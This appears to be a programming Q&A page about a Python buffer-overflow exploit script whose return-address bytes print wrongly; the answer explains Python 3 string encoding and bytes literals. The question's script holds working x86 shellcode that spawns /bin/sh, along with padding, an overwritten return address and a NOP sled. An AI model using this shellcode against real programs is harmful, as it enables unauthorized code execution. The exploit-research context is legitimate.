Search code examples
pythonbuffer-overflow

Python - Printing hex data shows wrong values


Im researching buffer overflows, and im trying to write a small exploit, and i need to append the address of RIP after the padding, the problem is that the address of RIP isnt correct when i try to run the script (output it to a bin file and hexdump it), here is my code:

#!/bin/python

sig = '2'
pad = '\x41' * 73
rip = '\xb8\xdf\xff\xff\xff\x7f'
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nop = '\x90' * 100


#code = sig + pad + rip
#code = pad + rip + shellcode + nop

print(rip) # Shows 00000000  c2 b8 c3 9f c3 bf c3 bf  c3 bf 7f 0a  |............| instead of rip (0x7fffffffdfb8 => b8 df ff ff ff 7f)

#print(code)

Why is RIP not correct ? Ive also tried to print out just \xb8 but i got:

00000000  c2 b8 0a                                          |...|

why is that 0xc2 added ?

thank you


Solution

  • You seem to be using Python 3, so string literals are Unicode, which means when you print a string the bytes you get back are encoded with whatever string encoding Python decides is correct for your environment: sys.getdefaultencoding() will tell you the encoding it uses by default. In this case you're getting the UTF-8 encoding of U+00B8 CEDILLA as the first two bytes of output for instance.

    You probably want to use bytes instead:

    rip = b'\xb8\xdf\xff\xff\xff\x7f'